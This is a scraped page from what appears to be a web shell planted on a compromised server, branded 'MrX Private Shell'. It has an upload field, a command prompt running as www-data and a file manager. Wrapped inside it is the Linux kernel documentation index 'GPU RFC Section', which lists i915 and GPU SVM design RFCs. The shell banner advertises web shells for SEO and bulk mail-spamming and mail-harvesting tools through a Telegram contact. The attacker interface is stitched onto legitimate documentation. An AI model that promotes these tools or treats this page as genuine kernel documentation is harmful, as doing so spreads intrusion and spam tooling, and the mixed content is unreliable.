__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>GPU RFC Section &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="GPU SVM Section" href="gpusvm.html" />
    <link rel="prev" title="TODO list" href="../todo.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/gpu/rfc/index.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="gpu-rfc-section">
<h1>GPU RFC Section<a class="headerlink" href="#gpu-rfc-section" title="Link to this heading">¶</a></h1>
<p>For complex work, especially new uapi, it is often good to nail the high level
design issues before getting lost in the code details. This section is meant to
host such documentation:</p>
<ul class="simple">
<li><p>Each RFC should be a section in this file, explaining the goal and main design
considerations. Especially for uapi make sure you Cc: all relevant project
mailing lists and involved people outside of dri-devel.</p></li>
<li><p>For uapi structures add a file to this directory with and then pull the
kerneldoc in like with real uapi headers.</p></li>
<li><p>Once the code has landed move all the documentation to the right places in
the main core, helper or driver sections.</p></li>
</ul>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="gpusvm.html">GPU SVM Section</a><ul>
<li class="toctree-l2"><a class="reference internal" href="gpusvm.html#agreed-upon-design-principles">Agreed upon design principles</a></li>
<li class="toctree-l2"><a class="reference internal" href="gpusvm.html#overview-of-baseline-design">Overview of baseline design</a></li>
<li class="toctree-l2"><a class="reference internal" href="gpusvm.html#overview-of-drm-pagemap-design">Overview of drm_pagemap design</a></li>
<li class="toctree-l2"><a class="reference internal" href="gpusvm.html#possible-future-design-features">Possible future design features</a></li>
</ul>
</li>
</ul>
</div>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="i915_gem_lmem.html">I915 DG1/LMEM RFC Section</a><ul>
<li class="toctree-l2"><a class="reference internal" href="i915_gem_lmem.html#upstream-plan">Upstream plan</a></li>
</ul>
</li>
</ul>
</div>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="i915_scheduler.html">I915 GuC Submission/DRM Scheduler Section</a><ul>
<li class="toctree-l2"><a class="reference internal" href="i915_scheduler.html#upstream-plan">Upstream plan</a></li>
<li class="toctree-l2"><a class="reference internal" href="i915_scheduler.html#todos-for-guc-submission-upstream">TODOs for GuC submission upstream</a></li>
<li class="toctree-l2"><a class="reference internal" href="i915_scheduler.html#new-uapi-for-basic-guc-submission">New uAPI for basic GuC submission</a><ul>
<li class="toctree-l3"><a class="reference internal" href="i915_scheduler.html#spec-references">Spec references:</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="i915_scheduler.html#new-parallel-submission-uapi">New parallel submission uAPI</a><ul>
<li class="toctree-l3"><a class="reference internal" href="i915_scheduler.html#export-engines-logical-mapping">Export engines logical mapping</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_scheduler.html#a-set-parallel-extension-to-configure-contexts-for-parallel-submission">A ‘set_parallel’ extension to configure contexts for parallel submission</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_scheduler.html#extend-execbuf2-ioctl-to-support-submitting-n-bbs-in-a-single-ioctl">Extend execbuf2 IOCTL to support submitting N BBs in a single IOCTL</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="i915_small_bar.html">I915 Small BAR RFC Section</a><ul>
<li class="toctree-l2"><a class="reference internal" href="i915_small_bar.html#i915-gem-create-ext-flag-needs-cpu-access-flag">I915_GEM_CREATE_EXT_FLAG_NEEDS_CPU_ACCESS flag</a></li>
<li class="toctree-l2"><a class="reference internal" href="i915_small_bar.html#probed-cpu-visible-size-attribute">probed_cpu_visible_size attribute</a></li>
<li class="toctree-l2"><a class="reference internal" href="i915_small_bar.html#error-capture-restrictions">Error Capture restrictions</a></li>
</ul>
</li>
</ul>
</div>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="i915_vm_bind.html">I915 VM_BIND feature design and use cases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="i915_vm_bind.html#vm-bind-feature">VM_BIND feature</a><ul>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#tlb-flush-consideration">TLB flush consideration</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#execbuf-ioctl-in-vm-bind-mode">Execbuf ioctl in VM_BIND mode</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#vm-private-objects">VM_PRIVATE objects</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#vm-bind-locking-hierarchy">VM_BIND locking hierarchy</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#vm-bind-lru-handling">VM_BIND LRU handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#vm-bind-dma-resv-usage">VM_BIND dma_resv usage</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#mesa-use-case">Mesa use case</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="i915_vm_bind.html#other-vm-bind-use-cases">Other VM_BIND use cases</a><ul>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#long-running-compute-contexts">Long running Compute contexts</a><ul>
<li class="toctree-l4"><a class="reference internal" href="i915_vm_bind.html#user-memory-fence">User/Memory Fence</a></li>
<li class="toctree-l4"><a class="reference internal" href="i915_vm_bind.html#low-latency-submission">Low Latency Submission</a></li>
</ul>
</li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#debugger">Debugger</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#gpu-page-faults">GPU page faults</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#page-level-hints-settings">Page level hints settings</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#page-level-cache-clos-settings">Page level Cache/CLOS settings</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#evictable-page-table-allocations">Evictable page table allocations</a></li>
<li class="toctree-l3"><a class="reference internal" href="i915_vm_bind.html#shared-virtual-memory-svm-support">Shared Virtual Memory (SVM) support</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="i915_vm_bind.html#vm-bind-uapi">VM_BIND UAPI</a></li>
</ul>
</li>
</ul>
</div>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/gpu/rfc/index.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
gpusvm.html File 39.99 KB 0644
i915_gem_lmem.html File 9.35 KB 0644
i915_scheduler.html File 22.61 KB 0644
i915_small_bar.html File 21.95 KB 0644
i915_vm_bind.html File 40.99 KB 0644
index.html File 14.57 KB 0644
Filemanager